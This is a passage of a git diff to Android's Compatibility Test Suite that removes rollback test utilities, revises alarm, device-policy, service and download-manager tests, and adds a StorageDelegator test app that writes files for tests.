+        Log.i(TAG, "Waiting for CRASH broadcast from " + packageName);
+        latch.await();
+
+        context.unregisterReceiver(crashReceiver);
+
+        // Sleep long enough for packagewatchdog to be notified of crash
+        Thread.sleep(1000);
+    }
+}
+
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java b/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
deleted file mode 100644
index 530ead7..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.pm.VersionedPackage;
-
-/**
- * Collection of dummy apps used in tests.
- */
-public class TestApp {
-    public static final String A = "com.android.cts.rollback.lib.testapp.A";
-    public static final String Apex = "com.android.apex.cts.shim";
-
-    public static final TestApp A1 = new TestApp("A1", A, 1, /*isApex*/false,
-            "RollbackManagerTestAppA1.apk");
-    public static final TestApp A2 = new TestApp("A2", A, 2, /*isApex*/false,
-            "RollbackManagerTestAppA2.apk");
-    public static final TestApp Apex2 = new TestApp("Apex2", Apex, 2, /*isApex*/true,
-            "com.android.apex.cts.shim.v2.apex");
-    public static final TestApp Apex3 = new TestApp("Apex3", Apex, 3, /*isApex*/true,
-            "com.android.apex.cts.shim.v3.apex");
-
-    private final String mName;
-    private final String mPackageName;
-    private final long mVersionCode;
-    private final String[] mResourceNames;
-    private final boolean mIsApex;
-
-    public TestApp(String name, String packageName, long versionCode, boolean isApex,
-            String... resourceNames) {
-        mName = name;
-        mPackageName = packageName;
-        mVersionCode = versionCode;
-        mResourceNames = resourceNames;
-        mIsApex = isApex;
-    }
-
-    String getPackageName() {
-        return mPackageName;
-    }
-
-    long getVersionCode() {
-        return mVersionCode;
-    }
-
-    String[] getResourceNames() {
-        return mResourceNames;
-    }
-
-    VersionedPackage getVersionedPackage() {
-        return new VersionedPackage(mPackageName, mVersionCode);
-    }
-
-    boolean isApex() {
-        return mIsApex;
-    }
-
-    @Override
-    public String toString() {
-        return mName;
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java b/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
deleted file mode 100644
index 668f641..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
-import android.content.pm.VersionedPackage;
-import android.content.rollback.PackageRollbackInfo;
-import android.content.rollback.RollbackInfo;
-import android.content.rollback.RollbackManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Utilities to facilitate testing rollbacks.
- */
-public class Utils {
-    /**
-     * Returns the version of the given package installed on device.
-     * Returns -1 if the package is not currently installed.
-     */
-    public static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
-        }
-    }
-
-    /**
-     * Gets the RollbackManager for the instrumentation context.
-     */
-    public static RollbackManager getRollbackManager() {
-        Context context = InstrumentationRegistry.getContext();
-        RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
-        if (rm == null) {
-            throw new AssertionError("Failed to get RollbackManager");
-        }
-        return rm;
-    }
-
-    /**
-     * Returns a rollback for the given package name in the list of
-     * rollbacks. Returns null if there are no available rollbacks, and throws
-     * an assertion if there is more than one.
-     */
-    private static RollbackInfo getRollback(List<RollbackInfo> rollbacks, String packageName) {
-        RollbackInfo found = null;
-        for (RollbackInfo rollback : rollbacks) {
-            for (PackageRollbackInfo info : rollback.getPackages()) {
-                if (packageName.equals(info.getPackageName())) {
-                    if (found != null) {
-                        throw new AssertionError("Multiple available matching rollbacks found");
-                    }
-                    found = rollback;
-                    break;
-                }
-            }
-        }
-        return found;
-    }
-
-    /**
-     * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
-     */
-    private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
-        for (RollbackInfo rollback :rollbacks) {
-            if (rollback.getRollbackId() == rollbackId) {
-                return rollback;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Returns an available rollback for the given package name. Returns null
-     * if there are no available rollbacks, and throws an assertion if there
-     * is more than one.
-     */
-    public static RollbackInfo getAvailableRollback(String packageName) {
-        RollbackManager rm = getRollbackManager();
-        return getRollback(rm.getAvailableRollbacks(), packageName);
-    }
-
-    /**
-     * Returns a recently committed rollback for the given package name. Returns null
-     * if there are no available rollbacks, and throws an assertion if there
-     * is more than one.
-     */
-    public static RollbackInfo getCommittedRollback(String packageName) {
-        RollbackManager rm = getRollbackManager();
-        return getRollback(rm.getRecentlyCommittedRollbacks(), packageName);
-    }
-
-    /**
-     * Returns a recently committed rollback for the given rollback Id.
-     * Returns null if no committed rollback with a matching Id was found.
-     */
-    public static RollbackInfo getCommittedRollbackById(int rollbackId) {
-        RollbackManager rm = getRollbackManager();
-        return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
-    }
-
-    /**
-     * Uninstalls the given package.
-     * Does nothing if the package is not installed.
-     * @throws AssertionError if package can't be uninstalled.
-     */
-    public static void uninstall(String packageName) throws InterruptedException, IOException {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager packageManager = context.getPackageManager();
-        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
-    /**
-     * Commit the given rollback.
-     * @throws AssertionError if the rollback fails.
-     */
-    public static void rollback(int rollbackId, TestApp... causePackages)
-            throws InterruptedException {
-        List<VersionedPackage> causes = new ArrayList<>();
-        for (TestApp cause : causePackages) {
-            causes.add(cause.getVersionedPackage());
-        }
-
-        RollbackManager rm = getRollbackManager();
-        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
-                RollbackManager.STATUS_FAILURE);
-        if (status != RollbackManager.STATUS_SUCCESS) {
-            String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message);
-        }
-    }
-
-    /**
-     * Waits for the given session to be marked as ready.
-     * Throws an assertion if the session fails.
-     */
-    public static void waitForSessionReady(int sessionId) {
-        BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
-        BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                PackageInstaller.SessionInfo info =
-                        intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
-                if (info != null && info.getSessionId() == sessionId) {
-                    if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
-                        try {
-                            sessionStatus.put(info);
-                        } catch (InterruptedException e) {
-                            throw new AssertionError(e);
-                        }
-                    }
-                }
-            }
-        };
-        IntentFilter sessionUpdatedFilter =
-                new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
-
-        Context context = InstrumentationRegistry.getContext();
-        context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
-
-        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
-        PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
-
-        try {
-            if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
-                sessionStatus.put(info);
-            }
-
-            info = sessionStatus.take();
-            context.unregisterReceiver(sessionUpdatedReceiver);
-            if (info.isStagedSessionFailed()) {
-                throw new AssertionError(info.getStagedSessionErrorMessage());
-            }
-        } catch (InterruptedException e) {
-            throw new AssertionError(e);
-        }
-    }
-}
-
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 6774764..d7afe11 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -250,6 +250,12 @@
     @Test
     public void testNeverDelay() throws Exception {
         updateAlarmManagerConstants(false);
+        setAppStandbyBucket("active");
+        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+        scheduleAlarm(firstTrigger, false, 0);
+        Thread.sleep(MIN_FUTURITY);
+        assertTrue("Alarm did not fire when app in active", waitForAlarm());
+
         setAppStandbyBucket("never");
         final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
         scheduleAlarm(expectedTrigger, true, 0);
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 349578f..e34478c 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -50,7 +50,6 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
-
 /**
  * TODO: Make sure DO APIs are not called by PO.
  * Test that exercises {@link DevicePolicyManager}. The test requires that the
@@ -1001,7 +1000,7 @@
                     (NotificationManager) mContext.getSystemService(Context.NOTIFICATION_SERVICE);
 
             assertTrue("Notification policy access was not granted ",
-            mNotificationManager.isNotificationPolicyAccessGranted());
+                    mNotificationManager.isNotificationPolicyAccessGranted());
 
             // Clear out the old policy
             mNotificationManager.setNotificationPolicy(new Policy(0, 0, 0, -1));
@@ -1014,12 +1013,21 @@
             assertNotEquals(mNotificationManager.getNotificationPolicy(), expected);
 
             mNotificationManager.setNotificationPolicy(expected);
-            assertEquals(mNotificationManager.getNotificationPolicy(), expected);
+            assertNotificationPolicyEquals(mNotificationManager.getNotificationPolicy(), expected);
         } catch (SecurityException e) {
             assertProfileOwnerMessage(e.getMessage());
         }
     }
 
+    private void assertNotificationPolicyEquals(NotificationManager.Policy actual,
+            NotificationManager.Policy expected) {
+        assertEquals(actual.priorityCategories, expected.priorityCategories);
+        assertEquals(actual.priorityCallSenders, expected.priorityCallSenders);
+        assertEquals(actual.priorityMessageSenders, expected.priorityMessageSenders);
+        assertEquals(actual.suppressedVisualEffects, expected.suppressedVisualEffects);
+        // NOTE: we cannot set the NotificationPolicy's state
+    }
+
     private void setInterruptionFilter(int interruptionFilter) throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
         final BroadcastReceiver receiver = new BroadcastReceiver() {
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 4ff6cb2..860c1a8 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -21,6 +21,7 @@
     <uses-sdk android:minSdkVersion="11" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.BODY_SENSORS" />
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 461a929..7c9c985 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -31,6 +31,7 @@
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
         <option name="test-file-name" value="NotificationDelegator.apk" />
+        <option name="test-file-name" value="StorageDelegator.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
diff --git a/tests/app/StorageDelegator/Android.bp b/tests/app/StorageDelegator/Android.bp
new file mode 100644
index 0000000..cf9b7a6
--- /dev/null
+++ b/tests/app/StorageDelegator/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "StorageDelegator",
+    defaults: ["cts_support_defaults"],
+
+    optimize: {
+        enabled: false,
+    },
+
+    srcs: ["**/*.java"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/libs/rollback/testapp/A1.xml b/tests/app/StorageDelegator/AndroidManifest.xml
similarity index 62%
copy from libs/rollback/testapp/A1.xml
copy to tests/app/StorageDelegator/AndroidManifest.xml
index 2cd1825..c252a80 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/tests/app/StorageDelegator/AndroidManifest.xml
@@ -13,20 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
+        package="com.android.test.storagedelegator">
 
+    <uses-sdk android:targetSdkVersion="28" />
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="StorageDelegator">
+        <activity android:name=".StorageDelegator"
+                android:theme="@android:style/Theme.NoDisplay">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT" />
+                <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
new file mode 100644
index 0000000..b305d8d
--- /dev/null
+++ b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.storagedelegator;
+
+import android.app.Activity;
+import android.app.IntentService;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.Files;
+
+/**
+ * Writes file content for use in tests. This is needed to create files when the test does not have
+ * sufficient permission.
+ */
+public class StorageDelegator extends Activity {
+
+    private static final String TAG = "StorageDelegator";
+    private static final String EXTRA_PATH = "path";
+    private static final String EXTRA_CONTENTS = "contents";
+    private static final String EXTRA_CALLBACK = "callback";
+    private static final String KEY_ERROR = "error";
+    private static final String ACTION_CREATE_FILE_WITH_CONTENT =
+            "com.android.cts.action.CREATE_FILE_WITH_CONTENT";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (!getIntent().getAction().equals(ACTION_CREATE_FILE_WITH_CONTENT)) {
+            Log.w(TAG, "Unsupported action: " + getIntent().getAction());
+            finish();
+            return;
+        }
+
+        final String path = getIntent().getStringExtra(EXTRA_PATH);
+        final String contents = getIntent().getStringExtra(EXTRA_CONTENTS);
+        Log.i(TAG, "onHandleIntent: path=" + path + ", content=" + contents);
+
+        final File file = new File(path);
+        if (file.getParentFile() != null) {
+            file.getParentFile().mkdirs();
+        }
+
+        final Bundle result = new Bundle();
+        try {
+            Files.write(file.toPath(), contents.getBytes());
+            Log.i(TAG, "onHandleIntent: path=" + path + ", length=" + file.length());
+        } catch (IOException e) {
+            Log.e(TAG, "writing file: " + path, e);
+            result.putString(KEY_ERROR, e.getMessage());
+        }
+        sendResult(result);
+        finish();
+    }
+
+    void sendResult(Bundle result) {
+        getIntent().<RemoteCallback>getParcelableExtra(EXTRA_CALLBACK).sendResult(result);
+    }
+}
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index 1c06dec..60d71d3 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -8,9 +8,6 @@
         },
         {
           "exclude-annotation": "androidx.test.filters.FlakyTest"
-        },
-        {
-          "exclude-filter": "android.app.cts.SystemFeaturesTest#testLocationFeatures"
         }
       ]
     }
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a576e626..7d34da0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -133,6 +133,8 @@
             <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
         </service>
 
+        <service android:name="android.app.stubs.LocalStoppedService" />
+
         <service android:name="android.app.stubs.LocalForegroundService">
             <intent-filter>
                 <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index f914cdf..f270582 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -48,12 +48,17 @@
     public static final int GET_UID_CODE = 9;
     public static final int GET_PPID_CODE = 10;
     public static final int GET_ZYGOTE_PRELOAD_CALLED = 11;
+    public static final int STOP_SELF_CODE = 12;
+    public static final int STOP_SELF_RESULT_CODE = 13;
+    public static final int STOP_SELF_SUCCESS_UNBIND_CODE = 14;
 
     public static Context sServiceContext = null;
 
     private IBinder mReportObject;
     private int mStartCount = 1;
     private int mValue = 0;
+    private int mStartId = -1;
+    private boolean mIsStoppedSelfSuccess;
 
     private final IBinder mBinder = new Binder() {
         @Override
@@ -88,6 +93,12 @@
                     data.enforceInterface(SERVICE_LOCAL);
                     reply.writeBoolean(ZygotePreload.preloadCalled());
                     return true;
+                case STOP_SELF_RESULT_CODE:
+                    mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+                    return true;
+                case STOP_SELF_CODE:
+                    stopSelf(mStartId);
+                    return true;
                 default:
                     return super.onTransact(code, data, reply, flags);
             }
@@ -99,6 +110,7 @@
 
     @Override
     public void onStart(Intent intent, int startId) {
+        mStartId = startId;
         if (intent.getExtras() != null) {
             IBinderParcelable parcelable
                     = (IBinderParcelable) intent.getExtras().getParcelable(REPORT_OBJ_NAME);
@@ -130,7 +142,11 @@
     @Override
     public boolean onUnbind(Intent intent) {
         if (mReportObject != null) {
-            bindAction(UNBIND_CODE);
+            if (mIsStoppedSelfSuccess) {
+                bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+            } else {
+                bindAction(UNBIND_CODE);
+            }
         }
         return true;
     }
diff --git a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
similarity index 66%
copy from libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
copy to tests/app/app/src/android/app/stubs/LocalStoppedService.java
index e426382..b569f95 100644
--- a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
+++ b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -11,15 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.cts.rollback.lib.testapp;
+package android.app.stubs;
 
-import android.app.Activity;
-
-/**
- * A test app for testing apk rollback support.
- */
-public class MainActivity extends Activity {
+public class LocalStoppedService extends LocalService
+{
 }
+
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 162e0e2..5adfac8 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1269,10 +1269,6 @@
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
                 WAIT_TIME);
         uidBackgroundListener.register();
-        UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
-                appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
-                WAIT_TIME);
-        uidCachedListener.register();
 
         WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
                 WAIT_TIME);
@@ -1341,14 +1337,14 @@
                     AccessibilityService.GLOBAL_ACTION_BACK);
 
             // Wait for process to become cached
-            uidCachedListener.waitForValue(
+            uidBackgroundListener.waitForValue(
                     IMPORTANCE_CACHED,
                     IMPORTANCE_CACHED);
             assertEquals(IMPORTANCE_CACHED,
                     am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
 
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // While in background, should go in to normal idle state.
             // Force app to go idle now
@@ -1360,7 +1356,6 @@
             uidWatcher.finish();
             uidForegroundListener.unregister();
             uidBackgroundListener.unregister();
-            uidCachedListener.unregister();
         }
     }
 
@@ -1505,7 +1500,7 @@
             getInstrumentation().getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+            uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
             // Make both apps idle for cleanliness.
             cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 4d1ecfa..13db79d 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -538,23 +538,23 @@
         file = new File(
                 Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
                 "colors.txt");
-        writeToFileFromShell(file, fileContents);
+        writeToFileWithDelegator(file, fileContents);
         try {
             mDownloadManager.addCompletedDownload("Test title", "Test desc", true,
                     "text/plain", file.getPath(), fileContents.getBytes().length, true);
             fail("addCompletedDownload should have failed for top-level download dir");
-        } catch (Exception e) {
+        } catch (SecurityException e) {
             // expected
         }
 
         // Try adding top-level sdcard path
         final String path = "/sdcard/test-download.txt";
-        writeToFileFromShell(new File(path), fileContents);
+        writeToFileWithDelegator(new File(path), fileContents);
         try {
             mDownloadManager.addCompletedDownload("Test title", "Test desc", true,
                     "text/plain", path, fileContents.getBytes().length, true);
             fail("addCompletedDownload should have failed for top-level sdcard path");
-        } catch (Exception e) {
+        } catch (SecurityException e) {
             // expected
         }
 
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index eaab0e3..507bbf4 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -15,10 +15,13 @@
  */
 package android.app.cts;
 
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.DownloadManager;
 import android.content.BroadcastReceiver;
@@ -28,9 +31,11 @@
 import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
+import android.os.RemoteCallback;
 import android.os.SystemClock;
 import android.provider.MediaStore;
 import android.text.TextUtils;
@@ -59,6 +64,8 @@
 import java.security.MessageDigest;
 import java.util.Arrays;
 import java.util.HashSet;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 
 public class DownloadManagerTestBase {
     protected static final String TAG = "DownloadManagerTest";
@@ -71,6 +78,13 @@
 
     protected static final long SHORT_TIMEOUT = 5 * DateUtils.SECOND_IN_MILLIS;
     protected static final long LONG_TIMEOUT = 3 * DateUtils.MINUTE_IN_MILLIS;
+    private static final String ACTION_CREATE_FILE_WITH_CONTENT =
+            "com.android.cts.action.CREATE_FILE_WITH_CONTENT";
+    private static final String EXTRA_PATH = "path";
+    private static final String EXTRA_CONTENTS = "contents";
+    private static final String EXTRA_CALLBACK = "callback";
+    private static final String KEY_ERROR = "error";
+    private static final String STORAGE_DELEGATOR_PACKAGE = "com.android.test.storagedelegator";
 
     protected Context mContext;
     protected DownloadManager mDownloadManager;
@@ -259,26 +273,20 @@
         assertEquals(contents, actual);
     }
 
-    protected static void writeToFileFromShell(File file, String contents) throws Exception {
-        runShellCommand("mkdir -p " + file.getParentFile());
-        runShellCommand("rm " + file);
+    protected void writeToFileWithDelegator(File file, String contents) throws Exception {
+        final CompletableFuture<Bundle> callbackResult = new CompletableFuture<>();
 
-        final String cmd = "dd of=" + file.getAbsolutePath();
-        final ParcelFileDescriptor[] pfds = InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation().executeShellCommandRw(cmd);
-        try (final PrintWriter out =
-                     new PrintWriter(new ParcelFileDescriptor.AutoCloseOutputStream(pfds[1]))) {
-            out.print(contents);
+        mContext.startActivity(new Intent(ACTION_CREATE_FILE_WITH_CONTENT)
+                .setPackage(STORAGE_DELEGATOR_PACKAGE)
+                .putExtra(EXTRA_PATH, file.getAbsolutePath())
+                .putExtra(EXTRA_CONTENTS, contents)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .putExtra(EXTRA_CALLBACK, new RemoteCallback(callbackResult::complete)));
+
+        final Bundle resultBundle = callbackResult.get(SHORT_TIMEOUT, TimeUnit.MILLISECONDS);
+        if (resultBundle.getString(KEY_ERROR) != null) {
+            fail("Failed to create the file " + file + ", error:" + resultBundle.getString(KEY_ERROR));
         }
-
-        final String res;
-        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfds[0])) {
-            res = readFromInputStream(fis);
-        }
-        Log.d(TAG, "Output of '" + cmd + "': '" + res + "'");
-        runShellCommand("sync");
-
-        assertFileContents(file, contents);
     }
 
     private static String readFromInputStream(InputStream inputStream) throws Exception {
@@ -291,13 +299,6 @@
         return res.toString();
     }
 
-    protected static void assertFileContents(File file, String contents) {
-        final String cmd = "cat " + file.getAbsolutePath();
-        final String output = runShellCommand(cmd);
-        Log.d(TAG, "Output of '" + cmd + "': '" + output + "'");
-        assertEquals(contents, output);
-    }
-
     protected void clearDownloads() {
         if (getTotalNumberDownloads() > 0) {
